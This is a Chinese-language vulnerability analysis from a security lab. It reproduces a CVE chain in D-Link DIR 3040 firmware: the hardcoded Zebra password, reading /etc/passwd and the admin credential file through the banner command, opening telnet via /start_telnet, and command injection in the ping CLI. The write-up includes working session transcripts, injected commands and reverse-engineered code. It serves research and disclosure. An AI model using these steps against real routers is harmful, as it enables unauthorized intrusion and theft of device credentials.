D-Link DIR 3040 从信息泄露到 RCE

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作者:OneShell@知道创宇404实验室

7月中旬,Cisco Talos安全研究员Dave MacDaniel公布了D-Link DIR 3040(固件版本1.13B03)的多个CVE漏洞的具体利用细节,这些漏洞环环相扣,从硬编码密码导致的信息泄露一步步到无需认证的RCE,具体的漏洞编号和漏洞描述如下:

  • CVE-2021-12817:Zebra服务因读取任意文件设置登录banner导致的敏感信息泄露
  • CVE-2021-12818:Zebra服务使用硬编码密码zebra
  • CVE-2021-12819:可通过访问https://<router_ip>/start_telnet开启telnet,并使用管理员密码登录,其中提供的功能例如ping存在命令注入

从这三个漏洞的描述就可以看出攻击链大概就是:先使用Zebra硬编码密码登录,然后通过读取任意文件窃取管理员admin密码,再开启telnet,最后实现命令注入,将一个本来是后认证的RCE组合变成了无条件RCE。下面就先直接上图说明漏洞利用的可行性,然后再进行原理的分析。

 

攻击链复现

我手头上是有一个部署在公网的路由器DIR 3040,一开始端口是没有开启telnet的,下图是我复现漏洞成功后,没有关闭telnet。

# oneshell @ UbuntuDev in ~ [23:44:30] C:130
$ nmap -Pn X.X.X.X

Starting Nmap 7.60 ( https://nmap.org ) at 2021-07-22 23:44 PDT
Nmap scan report for XXX.XXX.com (X.X.X.X)
Host is up (0.28s latency).
Not shown: 995 filtered ports
PORT     STATE SERVICE
23/tcp   open  telnet
53/tcp   open  domain
80/tcp   open  http
443/tcp  open  https
2602/tcp open  ripd

首先使用telnet登录开启了Zebra的2601端口,使用硬编码密码zebra,实际上也是服务的默认密码,Zebra使用默认密码在06年的时候就爆出来过一些。

# oneshell @ UbuntuDev in ~ [23:42:09] C:1
$ telnet X.X.X.X 2601
Trying X.X.X.X...
Connected to X.X.X.X.
Escape character is '^]'.
          ___           ___           ___
         /__/\         /  /\         /  /\
        _\_ \:\       /  /::\       /  /:/_
       /__/\ \:\     /  /:/\:\     /  /:/ /\
      _\_ \:\ \:\   /  /:/~/:/    /  /:/ /::\
     /__/\ \:\ \:\ /__/:/ /:/___ /__/:/ /:/\:\
     \  \:\ \:\/:/ \  \:\/:::::/ \  \:\/:/~/:/
      \  \:\ \::/   \  \::/~~~~   \  \::/ /:/
       \  \:\/:/     \  \:\        \__\/ /:/
        \  \::/       \  \:\         /__/:/
         \__\/         \__\/         \__\/
 -----------------------------------------------------
 BARRIER BREAKER (%C, %R)
 -----------------------------------------------------
  * 1/2 oz Galliano         Pour all ingredients into
  * 4 oz cold Coffee        an irish coffee mug filled
  * 1 1/2 oz Dark Rum       with crushed ice. Stir.
  * 2 tsp. Creme de Cacao
 -----------------------------------------------------

User Access Verification

Password:
Router> enable
Password:
Router# configure terminal
Router(config)# banner motd file /etc/passwd
Router(config)# exit
Router# exit
Connection closed by foreign host.

使用telnet再次登录,就会发现,登录提示的banner已经把/etc/passwd文件显示出来了。在/etc/passwd中的密码是以md5的形式保存的,有能力的师傅可以尝试解出来,但是,admin的明文账号密码是被保存在/var/2860_data.dat文件中的,那么设置banner到这个文件就可以成功读取到admin的明文密码,为下一步的认证RCE做准备。

这个时候访问https://<router_ip>/start_telnet开启路由器的测试CLI,这个页面访问的结果返回是404,不用担心,已经成功开启了设备的telnet了。然后可以使用上一步得到的admin账号密码登录,然后也可以看到,在ping那个功能处存在命令注入。

# oneshell @ LAPTOP-M8H23J7M in ~ [14:54:22] C:1
$ telnet X.X.X.X
Trying X.X.X.X...
Connected to X.X.X.X.
Escape character is '^]'.
D-Link login: admin
Password:
libcli test environment

router> help

Commands available:
  help                 Show available commands
  quit                 Disconnect
  history              Show a list of previously run commands
  protest              protest cmd
  iwpriv               iwpriv cmd
  ifconfig             ifconfig cmd
  iwconfig             iwconfig cmd
  reboot               reboot cmd
  brctl                brctl cmd
  ated                 ated cmd
  ping                 ping cmd

router> ping -c 1 8.8.8.8.;uname -a
ping: bad address '8.8.8.8.'
Linux D-Link 3.10.14+ #1 SMP Fri Aug 14 18:42:10 CST 2020 mips GNU/Linux

 

漏洞分析

漏洞的利用顺序是从CVE-2021-12818到CVE-2021-12817再到CVE-2021-12819,分析顺序也是按照这个来进行。顺便强调一下,这篇文章是偏向于分析,很多线索都是基于已有的漏洞信息来进行推断的,然后菜菜的我尽量去揣测挖洞大佬是怎么找出这个漏洞的,并说出自己猜测的思路,如果有不正确或者师傅们有更好的思路,还望指出来,蟹蟹!

固件分析

第一步是获取到存在漏洞的固件,固件已经是最新固件了。关于从固件中提取文件系统,可以参考我之前写的这篇文章:加密固件之依据老固件进行解密。下面说一下如何从文件系统中先对整个路由器有个大致的了解。这个地方推荐使用FirmWalker,一个对固件进行简单分析的sh脚本。分析的出来的结果太多了,就不展示出来,直接简单说一下分析结果:

  • 后台使用的是lighttpd,一个常见的嵌入式后端。
  • 看到有使用sqlite3的so,可能使用到了相关的,不知道有没有命令注入的可能。
  • 有telnetd程序,可以通过telnet登录;有tftp、curl,可以用于下载文件,例如针对路由器架构编译的恶意程序。

CVE-2021-12818:Zebra服务硬编码密码

这个漏洞是Zebra服务使用了默认密码zebra。Zebra 是一个 IP 路由管理器,可提供内核路由表更新、接口查找以及不同路由协议之间路由的重新分配。DIR-3040 默认在TCP端口2601上运行此服务,任何人都可以访问。漏洞披露者的分析应该是建立在通过UART等方式或者手中还有RCE漏洞获取shell查看到的,此处分析不了就直接进行后验证,直接通过前面的命令注入漏洞查看配置文件/tmp/zebra.conf

router> ping -c -1 8.8.8.8;cat /tmp/zebra.conf
ping: invalid number '-1'
hostname Router
password zebra
enable password zebra

CVE-2021-12817:敏感信息泄露

Zebra提供了一个功能就是从指定目录的文件内容,设置登录提示的banner,通过这个功能可以读取敏感信息并显示。通过find找到zebra和zebli.so,分别在/sbin/zebra和/lib/libzebra.so.1.0.0中,然后可以通过IDA搜索关键字符,例如在libzebra.so中就找到了和banner相关的数据结构。

.data:0006D608 banner_motd_file_cmd:.word aBannerMotdFile_1
.data:0006D608                                          # DATA XREF: LOAD:00003AC0↑o
.data:0006D608                                          # cmd_init+708↑o ...
.data:0006D608                                          # "banner motd file [FILE]"
.data:0006D60C                 .word sub_1509C
.data:0006D610                 .word aSetBannerBanne    # "Set banner\nBanner for motd\nBanner fro"...
.data:0006D614                 .align 4
.data:0006D620                 .globl no_config_log_timestamp_precision_cmd

这个数据结构在cmd_init是这样进行引用的:

install_element(5, (int)&banner_motd_file_cmd);

zebra是一个开源项目,源代码官网ftp已经没有了,在GitHub上找到了一个备份,也可以找到install_element的函数以及cmd_element结构体定义如下:

install_element (enum node_type ntype, struct cmd_element *cmd)
{
  struct cmd_node *cnode;

  cnode = vector_slot (cmdvec, ntype);

  if (cnode == NULL) 
    {
      fprintf (stderr, "Command node %d doesn't exist, please check it\n",
           ntype);
      exit (1);
    }

  vector_set (cnode->cmd_vector, cmd);

  cmd->strvec = cmd_make_descvec (cmd->string, cmd->doc);
  cmd->cmdsize = cmd_cmdsize (cmd->strvec);
}
struct cmd_element 
{
  char *string;            /* Command specification by string. */
  int (*func) (struct cmd_element *, struct vty *, int, char **);
  char *doc;            /* Documentation of this command. */
  int daemon;                   /* Daemon to which this command belong. */
  vector strvec;        /* Pointing out each description vector. */
  int cmdsize;            /* Command index count. */
  char *config;            /* Configuration string */
  vector subconfig;        /* Sub configuration string */
};

通过对应IDA和zebra源码中的结构体,可以猜测出来,回调函数是注册在sub_1509c这个函数,大概传入的参数就是:

int sub_1509c(struct cmd_element *, struct vty *, int, char **);

其中和文件描述符相关的是结构体vty,具体就不展开了,师傅们分析可以到zebra源码中去查看结构体vty的定义,这个结构体中是具体的一个zebra会话状态的相关描述,例如会话的权限、输入命令长度、命令缓冲区、历史命令等等。其实这个地方我分析得不是很明了,源码的执行逻辑还是有点绕,猜测安全研究人员应该是根据命令的提示,发现可以通过文件设置banner,然后尝试读取文件,或者研究人员有过类似的开发研究经历。

CVE-2021-12819:测试环境CLI命令执行

首先分析是如何开启telnet的,通过访问https://<router_ip>/start_telnet即可,似乎不涉及到使用了某个CGI,那么直接在后端服务器lighttpd中去搜寻关键字telnet,查看字符串的交叉引用,然后看看执行逻辑。使用IDA可以看到,在函数http_request_parse中,有一段代码逻辑是:

if ( strstr(v13, "/start_telnet") )
{
  log_error_write(a1, "request.c", 460, "s", "start telnet", v190, v191, v211, v231, v251);
  system("telnetd -b 0.0.0.0");
}

接下来是分析,命令执行是如何发生的。命令执行漏洞是发生在cli中,那么可以先定位到cli和cli使用的so文件。使用find可以找到两个可疑的两个目标,/lib/libcli.so和/usr/bin/cli。先看可执行文件cli,通过搜索ping关键字可以直接定位到关键代码。

cli_register_command(cli_session, 0, "protest", cmd_protest, 0, 0, "protest cmd");
cli_register_command(cli_session, 0, "iwpriv", cmd_iwpriv, 0, 0, "iwpriv cmd");
cli_register_command(cli_session, 0, "ifconfig", cmd_ifconfig, 0, 0, "ifconfig cmd");
cli_register_command(cli_session, 0, "iwconfig", cmd_iwconfig, 0, 0, "iwconfig cmd");
cli_register_command(cli_session, 0, "reboot", cmd_reboot, 0, 0, "reboot cmd");
cli_register_command(cli_session, 0, "brctl", cmd_brctl, 0, 0, "brctl cmd");
cli_register_command(cli_session, 0, "ated", cmd_ated, 0, 0, "ated cmd");
cli_register_command(cli_session, 0, "ping", cmd_ping, 0, 0, "ping cmd");
cli_register_command(cli_session, 0, "sh", cmd_shell, 15, 0, "sh cmd");

好家伙,还没有去符号表,和前面复现中cli的显示基本一致了。一般这种实现都是注册了某个回调函数,例如cmd_ping,可以在IDA中进入查看。非常巧合的是,我去搜索了一下这个函数,发现是Github上的一个开源libcli项目的,这就极大降低了逆向的难度。平常在做研究的时候也可以通过去找设备开发的GPL协议,然后定位使用了什么开源项目,降低逆向难度。如下是开源的函数原型,可以看到cmd_ping函数就是注册的回调,是选择了命令后具体执行的函数。

struct cli_command *cli_register_command(struct cli_def *cli, struct cli_command *parent, const char *command,
                                         int (*callback)(struct cli_def *, const char *, char **, int), int privilege,
                                         int mode, const char *help)

进一步的关键函数调用链就是:cmd_ping -> systemCmd -> popen,感兴趣的师傅可以进入具体查看,也没有什么复杂的绕过,直接就是格式化字符串然后到popen执行。

猜测这一个CVE实际上是开发人员原本为了方便测试设置的,从开启telnet到使用测试CLI执行命令。CLI在登录的时候也有明确提示,属于测试CLI。然后在实际交付代码的时候却没有把相关代码去掉。

 

小结

本篇文章首先对一连串的漏洞进行了复现,实现了从敏感信息泄露到远程RCE的过程。然后从逆向结合能够查找到的相关开源组件源码,对漏洞进行了分析。期间还是走了很多弯路,用了不短的时间去分析执行逻辑、回调函数之类的,最后深一步理解到了查找研究目标GPL相关开源组件代码,进一步降低逆向难度的重要性。

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